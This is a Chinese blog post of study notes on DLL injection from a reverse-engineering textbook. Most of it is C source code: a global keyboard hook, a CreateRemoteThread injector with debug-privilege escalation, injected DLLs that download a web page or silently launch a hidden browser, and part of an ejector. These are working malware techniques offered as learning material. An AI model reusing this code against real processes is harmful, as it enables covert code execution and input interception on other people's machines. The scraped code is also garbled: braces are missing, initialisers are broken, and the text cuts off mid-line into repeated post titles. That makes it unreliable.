《逆向工程核心原理》学习笔记:DLL注入
Posted 思源湖的鱼
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了《逆向工程核心原理》学习笔记:DLL注入相关的知识,希望对你有一定的参考价值。
目录
前言
继续学习《逆向工程核心原理》,本篇笔记是第三部分:DLL注入,主要包括三种DLL注入、DLL卸载、修改PE、代码注入等内容
一、windows消息钩取
1、钩子
钩子(Hook):截取信息时所用的手段
以键盘消息为例,常规流程如下:
- 发生键盘输入事件时,WM_KEYDOWN消息被添加到[OS message queue]
- OS判断哪个应用发生了事件,然后从[OS message queue]取出消息,添加到相应应用的[application message queue]
- 应用监视自己的[application message queue],发现新的WM_KEYDOWN消息后,调用相应的时间处理程序
在此过程中,消息钩子可以截取消息,修改消息,如下图所示:
2、SetWindowsHookEx()
SetWindowsHookEx() API可以实现消息钩子,定义如下:
- 钩子过程(hook procedure)是系统调用的回调函数
- 安装钩子时,钩子过程需要在DLL内部,该DLL的示例句柄(instance handle)即hMod
- 线程ID如果为0,则钩子为“全局钩子”
用SetWindowsHookEx()设置好钩子后,在某个进程中生成指定消息时,操作系统会将相关DLL文件强制注入相应进程
3、键盘消息钩取
如下图所示:
- KeyHook.dll是个含有钩子过程的DLL文件
- HookMain.exe是个加载KeyHook.dll,并使用SetWindowsHookEx()安装键盘钩子的程序
一个钩子HookMain.exe的源码
//HookMain.exe
#include "stdio.h"
#include "conio.h"
#include "windows.h"
#define DEF_DLL_NAME "KeyHook.dll"
#define DEF_HOOKSTART "HookStart"
#define DEF_HOOKSTOP "HookStop"
typedef void (*PFN_HOOKSTART)();
typedef void (*PFN_HOOKSTOP)();
void main()
HMODULE hDll = NULL;
PFN_HOOKSTART HookStart = NULL;
PFN_HOOKSTOP HookStop = NULL;
char ch = 0;
// 加载KeyHook.dll
hDll = LoadLibraryA(DEF_DLL_NAME);
if( hDll == NULL )
printf("LoadLibrary(%s) failed!!! [%d]", DEF_DLL_NAME, GetLastError());
return;
// 获取导出函数地址
HookStart = (PFN_HOOKSTART)GetProcAddress(hDll, DEF_HOOKSTART);
HookStop = (PFN_HOOKSTOP)GetProcAddress(hDll, DEF_HOOKSTOP);
// 开始
HookStart();
// “q”退出
printf("press 'q' to quit!\\n");
while( _getch() != 'q' ) ;
// 结束
HookStop();
// 卸载 KeyHook.dll
FreeLibrary(hDll);
其中KeyHook.dll的源码
// KeyHook.dll
#include "stdio.h"
#include "windows.h"
#define DEF_PROCESS_NAME "notepad.exe"
HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
HWND g_hWnd = NULL;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
switch( dwReason )
case DLL_PROCESS_ATTACH:
g_hInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
break;
return TRUE;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
char szPath[MAX_PATH] = 0,;
char *p = NULL;
if( nCode >= 0 )
// bit 31 : 0 => press, 1 => release
if( !(lParam & 0x80000000) ) //释放键盘按键时
GetModuleFileNameA(NULL, szPath, MAX_PATH);
p = strrchr(szPath, '\\\\');
// 比较当前进程名称,如果是 notepad.exe 则消息不会传给应用程序
if( !_stricmp(p + 1, DEF_PROCESS_NAME) )
return 1;
//反之,调用 CallNextHookEx() 消息传给应用程序
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
#ifdef __cplusplus
extern "C"
#endif
__declspec(dllexport) void HookStart()
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
__declspec(dllexport) void HookStop()
if( g_hHook )
UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
#ifdef __cplusplus
#endif
调用导出函数HookStart()时,SetWindowsHookEx()会将KeyboadProc()添加到键盘钩链
4、调试练习
(1)调试HookMain.exe
OD打开
由于我们知道运行之后,会出现press 'q' to quit!
字符串
所以可以 右键-Search for-All referenced text strings
可以看到地址0040104D
处应该就是Main函数
在地址00401000
处设置断点,然后开始调试
- 在地址
00401006
处调用了LoadLibrary(KeyHook.dll) - 在地址
0040104B
处调用了KeyHook.HookStart(),跟踪如下
这是Hookstart()函数
- 在地址
100010EF
可以看到 CALL SetWindowsHookExW() - SetWindowsHookExW() 的第二个参数lpfn是
10001020
(2)调试KeyHook.dll
开启如图所示这项,有DLL装载时,会自动暂停调试
后面不多说,简单讲就是
- OD打开notepad.exe
- 运行HookMain.exe
- OD跳出 Executable modules 窗口
- 根据上一小节的地址
10001020
找到钩子
二、DLL注入
DLL注入:向运行中的其他进程强制插入特定的DLL文件,如下图所示
- 原理:从外部促使目标进程调用LoadLibrary() API,从而强制调用DLL的DllMain()
- 注入的DLL拥有目标进程内存的访问权限
一些用处
- 修复Bug
- 改善功能
- 消息钩取
- API钩取
- 监视进程
- 恶意代码
- ……
注入方法
- 创建远程线程 CreateRemoteThread() API
- 使用注册表 AppInit_DLLs 值
- 消息钩取 SetWindowsHookEx() API (就是上面消息钩取所用的)
下面记下前两种方法
1、CreateRemoteThread()
书中给了个例子:用InjectDll.exe把myhack.dll注入notepad.exe
两个文件源码如下:
// myhack.dll
#include "windows.h"
#include "tchar.h"
#pragma comment(lib, "urlmon.lib")
#define DEF_URL (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME (L"index.html")
HMODULE g_hMod = NULL;
DWORD WINAPI ThreadProc(LPVOID lParam)
TCHAR szPath[_MAX_PATH] = 0,;
if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )
return FALSE;
TCHAR *p = _tcsrchr( szPath, '\\\\' );
if( !p )
return FALSE;
//下载指定网站的index.html文件
_tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME);
URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);
return 0;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
HANDLE hThread = NULL;
g_hMod = (HMODULE)hinstDLL;
switch( fdwReason )
case DLL_PROCESS_ATTACH : //加载时
OutputDebugString(L"<myhack.dll> Injection!!!"); //输出调试字符串
hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); //创建线程
CloseHandle(hThread);
break;
return TRUE;
// InjectDll.exe
#include "windows.h"
#include "tchar.h"
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
_tprintf(L"OpenProcessToken error: %u\\n", GetLastError());
return FALSE;
if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ) // receives LUID of privilege
_tprintf(L"LookupPrivilegeValue error: %u\\n", GetLastError() );
return FALSE;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
_tprintf(L"AdjustTokenPrivileges error: %u\\n", GetLastError() );
return FALSE;
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
_tprintf(L"The token does not have the specified privilege. \\n");
return FALSE;
return TRUE;
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
HANDLE hProcess = NULL, hThread = NULL;
HMODULE hMod = NULL;
LPVOID pRemoteBuf = NULL;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
// #1. 使用 dwPID 获取目标进程(notepad.exe)句柄(PROCESS_ALL_ACCESS权限),然后就可以用 hProcess 控制进程.
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
_tprintf(L"OpenProcess(%d) failed!!! [%d]\\n", dwPID, GetLastError());
return FALSE;
// #2. 在目标进程(notepad.exe) 内存中分配 szDllName 大小的内存,返回 pRemoteBuf 作为该缓冲区的地址.
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
// #3. 将 myhack.dll 路径写入刚刚分配的缓冲区.
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
// #4. 获取 LoadLibraryW() API 地址,kernel32.dll在每个进程中的加载地址相同(这个特性就是我们要利用的).
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
// #5. 在 notepad.exe 中运行线程
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL); //CreateRemoteThread()驱使进程调用LoadLibrary(),进而加载指定的DLL文件
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
int _tmain(int argc, TCHAR *argv[])
if( argc != 3)
_tprintf(L"USAGE : %s <pid> <dll_path>\\n", argv[0]);
return 1;
// change privilege
if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
return 1;
// inject dll
if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) )
_tprintf(L"InjectDll(\\"%s\\") success!!!\\n", argv[2]);
else
_tprintf(L"InjectDll(\\"%s\\") failed!!!\\n", argv[2]);
return 0;
2、AppInit_DLLs
将要注入的DLL路径写入AppInit_DLLs,并把LoadAppInit_DLLs设置为1
重启后,指定的DLL会注入所有的进程
// myhack2.cpp
#include "windows.h"
#include "tchar.h"
#define DEF_CMD L"c:\\\\Program Files\\\\Internet Explorer\\\\iexplore.exe"
#define DEF_ADDR L"http://www.naver.com"
#define DEF_DST_PROC L"notepad.exe"
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
TCHAR szCmd[MAX_PATH] = 0,;
TCHAR szPath[MAX_PATH] = 0,;
TCHAR *p = NULL;
STARTUPINFO si = 0,;
PROCESS_INFORMATION pi = 0,;
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
switch( fdwReason )
case DLL_PROCESS_ATTACH :
if( !GetModuleFileName( NULL, szPath, MAX_PATH ) )
break;
if( !(p = _tcsrchr(szPath, '\\\\')) )
break;
if( _tcsicmp(p+1, DEF_DST_PROC) )
break;
wsprintf(szCmd, L"%s %s", DEF_CMD, DEF_ADDR);
if( !CreateProcess(NULL, (LPTSTR)(LPCTSTR)szCmd,
NULL, NULL, FALSE,
NORMAL_PRIORITY_CLASS,
NULL, NULL, &si, &pi) )
break;
if( pi.hProcess != NULL )
CloseHandle(pi.hProcess);
break;
return TRUE;
三、DLL卸载
DLL卸载(DLL Ejection):将强制插入进程的DLL弹出的技术
原理:驱使目标进程调用FreeLibrary() API
例子:EjectDll.exe卸载上面加载到notepad.exe的myhack.dll,代码如下:
// EjectDll.exe
#include "windows.h"
#include "tlhelp32.h"
#include "tchar.h"
#define DEF_PROC_NAME (L"notepad.exe")
#define DEF_DLL_NAME (L"myhack.dll")
DWORD FindProcessID(LPCTSTR szProcessName)
DWORD dwPID = 0xFFFFFFFF;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
// Get the snapshot of the system
pe.dwSize = sizeof( PROCESSENTRY32 );
hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );
// find process
Process32First(hSnapShot, &pe);
do
if(!_tcsicmp(szProcessName, (LPCTSTR)pe.szExeFile))
dwPID = pe.th32ProcessID;
break;
while(Process32Next(hSnapShot, &pe));
CloseHandle(hSnapShot);
return dwPID;
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
_tprintf(L"OpenProcessToken error: %u\\n", GetLastError());
return FALSE;
if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ) // receives LUID of privilege
_tprintf(L"LookupPrivilegeValue error: %u\\n", GetLastError() );
return FALSE;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
_tprintf《逆向工程核心原理》学习笔记:DLL注入
《逆向工程核心原理》学习笔记:64位 & Windows 内核6
《逆向工程核心原理》学习笔记:64位 & Windows 内核6
《逆向工程核心原理》学习笔记:64位 & Windows 内核6